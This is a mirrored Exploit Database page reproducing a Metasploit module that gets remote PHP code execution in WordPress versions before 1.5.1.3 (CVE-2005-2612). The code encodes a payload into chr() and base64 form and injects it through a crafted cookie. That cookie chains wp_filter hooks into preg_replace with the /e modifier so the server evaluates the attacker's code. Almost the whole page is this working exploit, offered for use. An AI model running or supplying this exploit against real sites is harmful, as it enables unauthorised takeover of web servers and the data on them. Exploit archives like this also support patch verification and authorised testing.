WordPress Core 1.5.1.3 – ‘cache_lastpostdate’ Arbitrary Code Execution (Metasploit)

• Exploit Database
• 20 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16895/

• ##
  # $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary PHP code execution flaw in the WordPress
  				blogging software. This vulnerability is only present when the PHP 'register_globals'
  				option is enabled (common for hosting providers). All versions of WordPress prior to
  				1.5.1.3 are affected.
  			},
  			'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9671 $',
  			'References' =>
  				[
  					['CVE', '2005-2612'],
  					['OSVDB', '18672'],
  					['BID', '14533'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'ConnectionType' => 'find',
  						},
  					'Space' => 512,
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Aug 9 2005',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
  			], self.class)
  	end
  
  	def exploit
  
  		enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
  		str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
  		data =
  			"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
  			"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
  			"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
  			";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
  			"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
  			"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
  
  		# Trigger the command execution bug
  		res = send_request_cgi({
  				'uri'=> datastore['URI'],
  				'cookie' => data
  			}, 25)
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  		else
  			print_status("No response from the server")
  		end
  	end
  
  end